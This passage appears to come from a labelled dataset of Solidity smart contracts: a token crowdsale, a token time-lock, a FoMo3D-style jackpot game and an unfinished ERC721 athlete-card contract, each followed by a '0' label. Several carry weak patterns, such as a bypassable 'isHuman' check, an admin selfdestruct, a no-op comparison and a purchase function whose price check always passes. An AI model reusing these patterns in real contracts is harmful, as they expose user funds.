|| capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract BonusableCrowdsale is Consts, Crowdsale { function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = getBonusRate(_weiAmount); return _weiAmount.mul(bonusRate).div(1 ether); } function getBonusRate(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; uint[2] memory weiRaisedStartsBounds = [uint(0),uint(0)]; uint[2] memory weiRaisedEndsBounds = [uint(700000000000000000000000),uint(700000000000000000000000)]; uint64[2] memory timeStartsBounds = [uint64(1550230200),uint64(1552597140)]; uint64[2] memory timeEndsBounds = [uint64(1552597140),uint64(1555189195)]; uint[2] memory weiRaisedAndTimeRates = [uint(100),uint(50)]; for (uint i = 0; i < 2; i++) { bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]); bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate; } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(4000 * TOKEN_DECIMAL_MULTIPLIER, 0x8651Dbfa480fAC7721afB8fc75dd15df5C3FeeFF, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1555189200) CappedCrowdsale(700000000000000000000000) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[5] memory addresses = [address(0x69d8fd25c05d07d3fc5280040ba0bde4d5c4d399),address(0xe011be20adc30aaea2def2b8df8d62f38dc6ce59),address(0x9e336bb3bb2e31c20f6728133d8b281760840437),address(0x109184b0c6d1bc3e5c6bda2a7fd5e58e86a2023d),address(0x7ae2620c28160446f140958c6fd5f9a8b3088c25)]; uint[5] memory amounts = [uint(2100000000000000000000000000),uint(1500000000000000000000000000),uint(800000000000000000000000000),uint(800000000000000000000000000),uint(2000000000000000000000000000)]; uint64[5] memory freezes = [uint64(1555189263),uint64(1555189263),uint64(1555189263),uint64(1555189263),uint64(1555189263)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function hasClosed() public view returns (bool) { bool remainValue = cap.sub(weiRaised) < 250000000000000000; return super.hasClosed() || remainValue; } function setEndTime(uint _endTime) public onlyOwner { require(now < closingTime); require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(msg.value >= 250000000000000000); require(msg.value <= 4000000000000000000000); super._preValidatePurchase(_beneficiary, _weiAmount); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7B4B0a7EcfA8eebc554659d94A38108Ec9F0e223; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library F3Ddatasets { struct Referee { uint256 pID; uint256 offer; } struct EventReturns { address winnerBigPotAddr; uint256 amountWonBigPot; address winnerSmallPotAddr; uint256 amountWonSmallPot; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct PlayerVault { address addr; uint256 winBigPot; uint256 winSmallPot; uint256 gen; uint256 aff; uint256 lrnd; } struct PlayerRound { uint256 eth; uint256 auc; uint256 keys; uint256 mask; uint256 refID; } struct SmallPot { uint256 plyr; uint256 end; uint256 strt; uint256 pot; uint256 keys; uint256 eth; bool on; } struct BigPot { uint256 plyr; uint256 end; uint256 strt; uint256 keys; uint256 eth; uint256 gen; uint256 mask; uint256 pot; bool ended; } struct Auction { bool isAuction; uint256 end; uint256 strt; uint256 eth; uint256 gen; uint256 keys; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); } contract F3Devents { event eventAuction( string funName, uint256 round, uint256 plyr, uint256 money, uint256 keyPrice, uint256 plyrEth, uint256 plyrAuc, uint256 plyrKeys, uint256 aucEth, uint256 aucKeys ); event onPot( uint256 plyrBP, uint256 ethBP, uint256 plyrSP, uint256 ethSP ); } contract FoMo3DFast is F3Devents { using SafeMath for *; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x77ae3DEC9462C8Ac8F1e6D222C1785B5250F0F62); address private admin = msg.sender; uint256 private prepareTime = 30 minutes; uint256 private aucDur = 120 minutes; uint256 constant private rndInc_ = 360 seconds; uint256 constant private smallTime_ = 5 minutes; uint256 constant private rndMax_ = 10080 minutes; uint256 public rID_; uint256 constant public keyPriceAuc_ = 5000000000000000; uint256 constant public keyPricePot_ = 10000000000000000; mapping(address => uint256) public pIDxAddr_; mapping(uint256 => F3Ddatasets.PlayerVault) public plyr_; mapping(uint256 => mapping(uint256 => F3Ddatasets.PlayerRound)) public plyrRnds_; mapping(uint256 => F3Ddatasets.Auction) public auction_; mapping(uint256 => F3Ddatasets.BigPot) public bigPot_; F3Ddatasets.SmallPot public smallPot_; mapping(uint256 => uint256) public rndTmEth_; mapping(uint256 => F3Ddatasets.Referee[]) public referees_; uint256 minOfferValue_; uint256 constant referalSlot_ = 2; constructor() public { } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { determinePID(msg.sender); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _now = now; uint256 _rID = rID_; if (_now > auction_[_rID].strt && _now < auction_[_rID].end) { buyAuction(_pID); } else if (_now > bigPot_[_rID].strt && _now < bigPot_[_rID].end) { buy(_pID, 9999); } else { if (_now > bigPot_[_rID].end && bigPot_[_rID].ended == false) { bigPot_[_rID].ended = true; endRound(); } plyr_[_pID].gen = msg.value.add(plyr_[_pID].gen); } } function buyXQR(address _realSender, uint256 _affID) isActivated() isWithinLimits(msg.value) public payable { determinePID(_realSender); uint256 _pID = pIDxAddr_[_realSender]; uint256 _now = now; uint256 _rID = rID_; if (_now > auction_[_rID].strt && _now < auction_[_rID].end) { buyAuction(_pID); } else if (_now > bigPot_[_rID].strt && _now < bigPot_[_rID].end) { buy(_pID, _affID); } else { if (_now > bigPot_[_rID].end && bigPot_[_rID].ended == false) { bigPot_[_rID].ended = true; endRound(); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function endRound() private { uint256 _rID = rID_; uint256 _winPID = bigPot_[_rID].plyr; uint256 _win = bigPot_[_rID].pot; plyr_[_winPID].winBigPot = _win.add(plyr_[_winPID].winBigPot); uint256 _currentPot = smallPot_.eth; if (smallPot_.on == true) { uint256 _winSmallPot = smallPot_.pot; uint256 _surplus = _currentPot.sub(_winSmallPot); smallPot_.on = false; smallPot_.keys = 0; smallPot_.eth = 0; smallPot_.pot = 0; smallPot_.plyr = 0; plyr_[_winPID].winSmallPot = _winSmallPot.add(plyr_[_winPID].winSmallPot); if (_surplus > 0) { plyr_[1].winSmallPot = _surplus.add(plyr_[1].winSmallPot); } } else { if (_currentPot > 0) { plyr_[1].winSmallPot = _currentPot.add(plyr_[1].winSmallPot); } } rID_++; _rID++; uint256 _now = now; auction_[_rID].strt = _now; auction_[_rID].end = _now + aucDur; bigPot_[_rID].strt = _now + aucDur; bigPot_[_rID].end = _now + aucDur + rndMax_; } function withdrawXQR(address _realSender) payable isActivated() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[_realSender]; uint256 _eth; if (_now > bigPot_[_rID].end && bigPot_[_rID].ended == false && bigPot_[_rID].plyr != 0) { bigPot_[_rID].ended = true; endRound(); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); } } function withdrawEarnings(uint256 _pID) private returns (uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].winBigPot).add(plyr_[_pID].winSmallPot).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].winBigPot = 0; plyr_[_pID].winSmallPot = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return (_earnings); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((bigPot_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function managePlayer(uint256 _pID) private { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; } function buyAuction(uint256 _pID) private { uint256 _rID = rID_; uint256 _keyPrice = keyPriceAuc_; if (plyrRnds_[_pID][_rID].keys == 0) managePlayer(_pID); bigPot_[_rID].plyr = _pID; uint256 _eth = msg.value; uint256 _keys = _eth / _keyPrice; plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); plyrRnds_[_pID][_rID].auc = _eth.add(plyrRnds_[_pID][_rID].auc); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); uint256 plyrEth = plyrRnds_[_pID][_rID].eth; uint256 plyrAuc = plyrRnds_[_pID][_rID].auc; uint256 plyrKeys = plyrRnds_[_pID][_rID].keys; auction_[_rID].eth = auction_[_rID].eth.add(_eth); auction_[_rID].keys = auction_[_rID].keys.add(_keys); uint256 aucEth = auction_[_rID].eth; uint256 aucKeys = auction_[_rID].keys; emit eventAuction ( "buyFunction", _rID, _pID, _eth, _keyPrice, plyrEth, plyrAuc, plyrKeys, aucEth, aucKeys ); refereeCore(_pID, plyrRnds_[_pID][_rID].auc); distributeAuction(_rID, _eth); } function distributeAuction(uint256 _rID, uint256 _eth) private { uint256 _team = _eth / 2; uint256 _pot = _eth.sub(_team); uint256 _bigPot = _pot / 2; uint256 _smallPot = _pot / 2; admin.transfer(_team); bigPot_[_rID].pot = bigPot_[_rID].pot.add(_bigPot); smallPot_.pot = smallPot_.pot.add(_smallPot); emit onPot(bigPot_[_rID].plyr, bigPot_[_rID].pot, smallPot_.plyr, smallPot_.pot); } function buy(uint256 _pID, uint256 _affID) private { uint256 _rID = rID_; uint256 _keyPrice = keyPricePot_; if (plyrRnds_[_pID][_rID].keys == 0) managePlayer(_pID); uint256 _eth = msg.value; uint256 _keys = _eth / _keyPrice; if (_eth > 1000000000) { if (_eth >= 1000000000000000000) { updateTimer(_eth, _rID); if (bigPot_[_rID].plyr != _pID) bigPot_[_rID].plyr = _pID; } bigPot_[_rID].keys = _keys.add(bigPot_[_rID].keys); bigPot_[_rID].eth = _eth.add(bigPot_[_rID].eth); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); uint256 _gen = _eth.mul(6) / 10; updateMasks(_rID, _pID, _gen, _keys); distributeBuy(_rID, _eth, _affID); smallPot(); } } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (bigPot_[_rID].keys); bigPot_[_rID].mask = _ppt.add(bigPot_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((bigPot_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(bigPot_[_rID].keys)) / (1000000000000000000))); } function distributeBuy(uint256 _rID, uint256 _eth, uint256 _affID) private { uint256 _team = _eth / 10; uint256 _aff = _eth / 10; if (_affID == 9999) { _team = _team.add(_aff); _aff = 0; } uint256 _bigPot = _eth / 10; uint256 _smallPot = _eth / 10; admin.transfer(_team); if (_aff != 0) { uint256 affPID = referees_[_rID][_affID].pID; plyr_[affPID].aff = _aff.add(plyr_[affPID].aff); } bigPot_[_rID].pot = bigPot_[_rID].pot.add(_bigPot); smallPot_.pot = smallPot_.pot.add(_smallPot); emit onPot(bigPot_[_rID].plyr, bigPot_[_rID].pot, smallPot_.plyr, smallPot_.pot); } function smallPot() private { uint256 _now = now; if (smallPot_.on == false && smallPot_.keys >= (1000)) { smallPot_.on = true; smallPot_.pot = smallPot_.eth; smallPot_.strt = _now; smallPot_.end = _now + smallTime_; } else if (smallPot_.on == true && _now > smallPot_.end) { uint256 _winSmallPot = smallPot_.pot; uint256 _currentPot = smallPot_.eth; uint256 _surplus = _currentPot.sub(_winSmallPot); uint256 _winPID = smallPot_.plyr; smallPot_.on = false; smallPot_.keys = 0; smallPot_.eth = 0; smallPot_.pot = 0; smallPot_.plyr = 0; plyr_[_winPID].winSmallPot = _winSmallPot.add(plyr_[_winPID].winSmallPot); if (_surplus > 0) { plyr_[1].winSmallPot = _surplus.add(plyr_[1].winSmallPot); } } } event onBigPot( string eventname, uint256 rID, uint256 plyr, uint256 end, uint256 strt, uint256 eth, uint256 keys, bool ended ); function updateTimer(uint256 _keys, uint256 _rID) private { emit onBigPot ( "updateTimer_start:", _rID, bigPot_[_rID].plyr, bigPot_[_rID].end, bigPot_[_rID].strt, bigPot_[_rID].eth, bigPot_[_rID].keys, bigPot_[_rID].ended ); uint256 _now = now; uint256 _newTime; if (_now > bigPot_[_rID].end && bigPot_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(bigPot_[_rID].end); if (_newTime < (rndMax_).add(_now)) bigPot_[_rID].end = _newTime; else bigPot_[_rID].end = rndMax_.add(_now); emit onBigPot ( "updateTimer_end:", _rID, bigPot_[_rID].plyr, bigPot_[_rID].end, bigPot_[_rID].strt, bigPot_[_rID].eth, bigPot_[_rID].keys, bigPot_[_rID].ended ); } event pidUpdate(address sender, uint256 pidOri, uint256 pidNew); function determinePID(address _realSender) private { uint256 _pID = pIDxAddr_[_realSender]; uint256 _pIDOri = _pID; if (_pID == 0) { _pID = PlayerBook.getPlayerID(_realSender); pIDxAddr_[_realSender] = _pID; plyr_[_pID].addr = _realSender; } emit pidUpdate(_realSender, _pIDOri, _pID); } function getPlayerIdxAddr(address _addr) public view returns (uint256){ if (pIDxAddr_[_addr] == 0) { return pIDxAddr_[_addr]; } else { return 0; } } function receivePlayerInfo(uint256 _pID, address _addr) external { require(msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; } event consolerefereeCore( uint256 _pID, uint256 _value, uint256 minOfferIndex, uint256 minOfferpID, uint256 minOfferValue ); function refereeCore(uint256 _pID, uint256 _value) private { uint256 _rID = rID_; uint256 length_ = referees_[_rID].length; emit consolerefereeCore(_pID, _value, _rID, length_, minOfferValue_); if (_value > minOfferValue_) { uint256 minXvalue = _value; uint256 minXindex = 9999; uint256 flag = 1; for (uint256 i = 0; i < referees_[_rID].length; i++) { if (_pID == referees_[_rID][i].pID) { referees_[_rID][i].offer = _value; flag = 0; break; } } if (flag == 1) { emit consolerefereeCore(1111, minXindex, _rID, referees_[_rID].length, minXvalue); for (uint256 j = 0; j < referees_[_rID].length; j++) { if (referees_[_rID][j].offer < minXvalue) { minXvalue = referees_[_rID][j].offer; emit consolerefereeCore(2222, minXindex, _rID, referees_[_rID].length, minXvalue); minXindex = j; } } emit consolerefereeCore(3333, minXindex, _rID, referees_[_rID].length, minXvalue); if (referees_[_rID].length < referalSlot_) { referees_[_rID].push(F3Ddatasets.Referee(_pID, _value)); } else { if (minXindex != 9999) { referees_[_rID][minXindex].offer = _value; referees_[_rID][minXindex].pID = _pID; minOfferValue_ = _value; } } } } } function getTimeLeft() public view returns (uint256){ return rndTmEth_[rID_] - now; } function getrID() public view returns (uint256){ return rID_; } function getAdmin() public view returns (address){ return admin; } bool public activated_ = false; uint256 public end_ = 0; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; uint256 _now = now; auction_[1].strt = _now; auction_[1].end = _now + aucDur; bigPot_[1].strt = _now + aucDur; bigPot_[1].end = _now + aucDur + rndMax_; } function getAuctionTimer() public view returns (uint256, uint256, uint256, uint256, bool, uint256, uint256) { uint256 _rID = rID_; uint256 _now = now; return ( _rID, auction_[_rID].strt, auction_[_rID].end, _now, _now > auction_[_rID].end, bigPot_[_rID].strt, bigPot_[_rID].end ); } function getCurrentRoundAucInfo() public view returns (uint256, bool, uint256, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; uint256 _now = now; return ( _rID, auction_[_rID].isAuction, auction_[_rID].strt, auction_[_rID].end, auction_[_rID].end - _now, auction_[_rID].eth, auction_[_rID].gen, auction_[_rID].keys ); } function getCurrentRoundBigPotInfo() public view returns (uint256, uint256, bool, uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256) { uint256 _rID = rID_; uint256 _now = now; uint256 _currentpID = bigPot_[_rID].plyr; uint256 _eth = bigPot_[_rID].eth; return ( _rID, _currentpID, bigPot_[_rID].ended, bigPot_[_rID].strt, bigPot_[_rID].end, bigPot_[_rID].end - _now, bigPot_[_rID].keys, _eth, _eth.mul(60) / 100, bigPot_[_rID].pot, plyr_[_currentpID].addr, keyPricePot_ ); } function getSmallPotInfo() public view returns (uint256, uint256, bool, uint256, uint256, uint256, uint256, uint256, uint256, address) { uint256 _rID = rID_; uint256 _now = now; uint256 _currentpID = smallPot_.plyr; return ( _rID, _currentpID, smallPot_.on, smallPot_.strt, smallPot_.end, smallPot_.end - _now, smallPot_.keys, smallPot_.eth, smallPot_.pot, plyr_[_currentpID].addr ); } function getPlayerInfoxAddr() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; uint256 _pID = pIDxAddr_[msg.sender]; return (_rID, _pID, plyrRnds_[_pID][_rID].eth, plyrRnds_[_pID][_rID].auc, plyrRnds_[_pID][_rID].keys, plyrRnds_[_pID][_rID].mask, plyrRnds_[_pID][_rID].refID ); } function getPlayerVaultxAddr() public view returns (uint256, address, uint256, uint256, uint256, uint256) { address addr = msg.sender; uint256 _pID = pIDxAddr_[addr]; return ( _pID, plyr_[_pID].addr, plyr_[_pID].winBigPot, plyr_[_pID].winSmallPot, plyr_[_pID].gen, plyr_[_pID].aff ); } event consoleRef(uint256 index, uint256 pID, uint256 value); function getReferees() public payable { uint256 _rID = rID_; for (uint256 i = 0; i < referees_[_rID].length; i++) { emit consoleRef(i, referees_[_rID][i].pID, referees_[_rID][i].offer); } } function getPlayerInfoByAddress(address addr) public view returns (uint256, address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; address _addr = addr; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, _addr, _rID, plyr_[_pID].winBigPot, plyr_[_pID].winSmallPot, plyr_[_pID].gen, plyr_[_pID].aff, plyrRnds_[_pID][_rID].keys, plyrRnds_[_pID][_rID].eth, plyrRnds_[_pID][_rID].auc, plyrRnds_[_pID][_rID].mask, plyrRnds_[_pID][_rID].refID ); } function getPlayerInfoById(uint256 pID) public view returns (uint256, address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; uint256 _pID = pID; address _addr = msg.sender; return ( _pID, _addr, _rID, plyr_[_pID].winBigPot, plyr_[_pID].winSmallPot, plyr_[_pID].gen, plyr_[_pID].aff, plyrRnds_[_pID][_rID].keys, plyrRnds_[_pID][_rID].eth, plyrRnds_[_pID][_rID].auc, plyrRnds_[_pID][_rID].mask, plyrRnds_[_pID][_rID].refID ); } function kill() public { if (admin == msg.sender) { selfdestruct(admin); } } }
0
library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>= a); return c; } } contract ERC721 { function approve( address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 supply); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); } contract AthleteToken is ERC721 { string public constant NAME = "CryptoFantasy"; string public constant SYMBOL = "Athlete"; uint256 private constant initPrice = 0.001 ether; event Birth(uint256 tokenId, address owner); event TokenSold(uint256 tokenId, uint256 sellPrice, address sellOwner, address buyOwner, string athleteId); event Transfer(address from, address to, uint256 tokenId); mapping (uint256 => address) public athleteIndexToOwner; mapping (address => uint256) private ownershipTokenCount; mapping (uint256 => address) public athleteIndexToApproved; mapping (uint256 => uint256) private athleteIndexToPrice; mapping (uint256 => uint256) private athleteIndexToActualFee; mapping (uint256 => uint256) private athleteIndexToSiteFee; mapping (uint256 => address) private athleteIndexToActualWalletId; mapping (uint256 => string) private athleteIndexToAthleteID; mapping (uint256 => bool) private athleteIndexToAthleteVerificationState; address public ceoAddress; address public cooAddress; uint256 public promoCreatedCount; struct Athlete { string athleteId; address actualAddress; uint256 actualFee; uint256 siteFee; uint256 sellPrice; bool isVerified; } Athlete[] private athletes; mapping (uint256 => Athlete) private athleteIndexToAthlete; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } function AthleteToken() public { ceoAddress = msg.sender; cooAddress = msg.sender; } function approve( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); athleteIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } function createOfAthleteCard(string _athleteId, address _actualAddress, uint256 _actualFee, uint256 _siteFee, uint256 _sellPrice) public onlyCOO returns (uint256 _newAthleteId) { address _athleteOwner = address(this); bool _verified = true; if ( _sellPrice <= 0 ) { _sellPrice = initPrice; } if ( _actualAddress == address(0) ){ _actualAddress = ceoAddress; _verified = false; } Athlete memory _athlete = Athlete({ athleteId: _athleteId, actualAddress: _actualAddress, actualFee: _actualFee, siteFee: _siteFee, sellPrice: _sellPrice, isVerified: _verified }); uint256 newAthleteId = athletes.push(_athlete) - 1; require(newAthleteId == uint256(uint32(newAthleteId))); Birth(newAthleteId, _athleteOwner); athleteIndexToPrice[newAthleteId] = _sellPrice; athleteIndexToActualFee[newAthleteId] = _actualFee; athleteIndexToSiteFee[newAthleteId] = _siteFee; athleteIndexToActualWalletId[newAthleteId] = _actualAddress; athleteIndexToAthleteID[newAthleteId] = _athleteId; athleteIndexToAthlete[newAthleteId] = _athlete; athleteIndexToAthleteVerificationState[newAthleteId] = _verified; _transfer(address(0), _athleteOwner, newAthleteId); return newAthleteId; } function changeOriginWalletIdForAthlete( uint256 _tokenId, address _oringinWalletId ) public onlyCOO returns( string athleteId, address actualAddress, uint256 actualFee, uint256 siteFee, uint256 sellPrice, address owner) { athleteIndexToActualWalletId[_tokenId] = _oringinWalletId; Athlete storage athlete = athletes[_tokenId]; athlete.actualAddress = _oringinWalletId; athleteId = athlete.athleteId; actualAddress = athlete.actualAddress; actualFee = athlete.actualFee; siteFee = athlete.siteFee; sellPrice = priceOf(_tokenId); owner = ownerOf(_tokenId); } function changeSellPriceForAthlete( uint256 _tokenId, uint256 _newSellPrice ) public onlyCOO returns( string athleteId, address actualAddress, uint256 actualFee, uint256 siteFee, uint256 sellPrice, address owner) { athleteIndexToPrice[_tokenId] = _newSellPrice; Athlete storage athlete = athletes[_tokenId]; athlete.sellPrice = _newSellPrice; athleteId = athlete.athleteId; actualAddress = athlete.actualAddress; actualFee = athlete.actualFee; siteFee = athlete.siteFee; sellPrice = athlete.sellPrice; owner = ownerOf(_tokenId); } function createContractOfAthlete(string _athleteId, address _actualAddress, uint256 _actualFee, uint256 _siteFee, uint256 _sellPrice) public onlyCOO{ _createOfAthlete(address(this), _athleteId, _actualAddress, _actualFee, _siteFee, _sellPrice); } function getAthlete(uint256 _tokenId) public view returns ( string athleteId, address actualAddress, uint256 actualFee, uint256 siteFee, uint256 sellPrice, address owner) { Athlete storage athlete = athletes[_tokenId]; athleteId = athlete.athleteId; actualAddress = athlete.actualAddress; actualFee = athlete.actualFee; siteFee = athlete.siteFee; sellPrice = priceOf(_tokenId); owner = ownerOf(_tokenId); } function implementsERC721() public pure returns (bool) { return true; } function name() public pure returns (string) { return NAME; } function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = athleteIndexToOwner[_tokenId]; require(owner != address(0)); } function payout(address _to) public onlyCLevel { _payout(_to); } function purchase(uint256 _tokenId) public payable { address sellOwner = athleteIndexToOwner[_tokenId]; address buyOwner = msg.sender; uint256 sellPrice = msg.value; require(sellOwner != buyOwner); require(_addressNotNull(buyOwner)); require(msg.value >= sellPrice); uint256 actualFee = uint256(SafeMath.div(SafeMath.mul(sellPrice, athleteIndexToActualFee[_tokenId]), 100)); uint256 siteFee = 